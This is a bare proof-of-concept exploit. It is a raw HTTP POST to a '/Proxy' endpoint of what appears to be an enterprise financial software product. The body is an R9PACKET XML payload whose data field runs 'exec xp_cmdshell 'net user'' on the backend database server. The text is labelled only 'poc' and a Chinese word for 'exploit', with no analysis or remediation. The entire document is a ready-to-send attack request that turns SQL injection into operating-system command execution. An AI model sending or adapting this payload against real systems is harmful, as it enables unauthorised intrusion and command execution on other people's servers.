poc：

POST /Proxy HTTP/1.1
Accept: Accept: /
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
Host: host
Content-Length: 357
Connection: Keep-Alive
Cache-Control: no-cache


cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'net user'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

利用